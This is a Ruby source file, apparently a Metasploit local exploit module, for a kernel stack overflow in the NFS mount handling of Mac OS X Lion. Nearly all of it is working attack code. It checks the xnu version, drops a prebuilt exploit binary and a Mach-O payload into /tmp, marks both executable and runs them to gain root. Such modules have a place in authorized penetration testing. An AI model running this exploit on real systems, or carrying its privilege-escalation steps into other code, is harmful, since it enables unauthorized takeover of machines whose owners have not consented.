90 lines
2.7 KiB
Ruby
90 lines
2.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = NormalRanking
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include Msf::Post::File
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Mac OS X NFS Mount Privilege Escalation Exploit',
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'Description' => %q{
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This exploit leverages a stack overflow vulnerability to escalate privileges.
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The vulnerable function nfs_convert_old_nfs_args does not verify the size
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of a user-provided argument before copying it to the stack. As a result, by
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passing a large size as an argument, a local user can overwrite the stack with arbitrary
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content.
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Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 are affected.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Kenzley Alphonse', # discovery and a very well-written exploit
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'joev' # msf module
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],
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'References' =>
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[
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[ 'EDB', '32813' ]
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],
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'Platform' => 'osx',
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'Arch' => [ ARCH_X64 ],
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'SessionTypes' => [ 'shell', 'meterpreter' ],
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'Targets' => [
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[ 'Mac OS X 10.7 Lion x64 (Native Payload)',
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{
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'Platform' => 'osx',
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'Arch' => ARCH_X64
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Apr 11 2014'
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))
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end
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def check
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if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8"
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Exploit::CheckCode::Appears
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else
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Exploit::CheckCode::Safe
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end
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end
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def exploit
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osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')
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file = File.join(osx_path, 'nfs_mount_priv_escalation.bin')
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exploit = File.read(file)
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pload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
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tmpfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
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payloadfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
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print_status "Writing temp file as '#{tmpfile}'"
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write_file(tmpfile, exploit)
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register_file_for_cleanup(tmpfile)
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print_status "Writing payload file as '#{payloadfile}'"
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write_file(payloadfile, pload)
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register_file_for_cleanup(payloadfile)
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print_status "Executing payload..."
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cmd_exec("chmod +x #{tmpfile}")
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cmd_exec("chmod +x #{payloadfile}")
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cmd_exec("#{tmpfile} #{payloadfile}")
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end
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def xnu_ver
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m = cmd_exec("uname -a").match(/xnu-([0-9\.~]*)/)
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m && m[1]
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end
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def ver_lt(a, b)
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Gem::Version.new(a.gsub(/~.*?$/,'')) < Gem::Version.new(b.gsub(/~.*?$/,''))
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end
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end
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